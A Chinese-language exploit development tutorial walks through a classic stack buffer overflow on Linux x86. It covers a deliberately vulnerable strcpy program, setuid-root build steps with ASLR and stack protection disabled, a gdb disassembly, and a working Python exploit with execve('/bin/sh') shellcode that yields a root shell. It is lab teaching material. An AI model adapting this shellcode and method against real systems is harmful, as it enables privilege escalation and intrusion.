Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

(1)漏洞代码

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

 编译

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln

(2)反汇编并绘制出漏洞代码的堆栈布局

gdb-peda$ disass main
Dump of assembler code for function main:
   0x08048414 <+0>:	push   ebp
   0x08048415 <+1>:	mov    ebp,esp
   0x08048417 <+3>:	and    esp,0xfffffff0
   0x0804841a <+6>:	sub    esp,0x110
   0x08048420 <+12>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048423 <+15>:	add    eax,0x4
   0x08048426 <+18>:	mov    eax,DWORD PTR [eax]
   0x08048428 <+20>:	mov    DWORD PTR [esp+0x4],eax
   0x0804842c <+24>:	lea    eax,[esp+0x10]
   0x08048430 <+28>:	mov    DWORD PTR [esp],eax
   0x08048433 <+31>:	call   0x8048330 <strcpy@plt>
   0x08048438 <+36>:	mov    eax,0x8048530
   0x0804843d <+41>:	lea    edx,[esp+0x10]
   0x08048441 <+45>:	mov    DWORD PTR [esp+0x4],edx
   0x08048445 <+49>:	mov    DWORD PTR [esp],eax
   0x08048448 <+52>:	call   0x8048320 <printf@plt>
   0x0804844d <+57>:	mov    eax,0x0
   0x08048452 <+62>:	leave  
   0x08048453 <+63>:	ret    
End of assembler dump.

 Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

 (3)当用户输入的内容大于256位时,将溢出目标缓冲区并覆盖堆栈中存储的返回地址。通过发送一系列“A”来测试它。

Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

EBP的值已经变成了四个A

(4)根据堆栈布局,可以尝试输入256个A(buf)+8个A(对齐空间)+4A(EBP)+4个B(返回地址),看是否能覆盖括号里的内容

Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

(5)攻击代码

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff4a0
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
 return struct.pack("<I",num)#nk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])

 将攻击代码改动一下,以准确确定shellcode的地址。

Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

运行

Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

查看内存,可以发现shellcode的起始地址,因此只要保证ret_addr在那100个‘\x90’里就可以了。

Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

(6)确定攻击代码,选择ret_addr为0xbffff4a0

Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

运行

Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

获取到root shell权限。

上一篇:PHP代码注入.我们是否存在安全风险?


下一篇:JAVA操作properties文件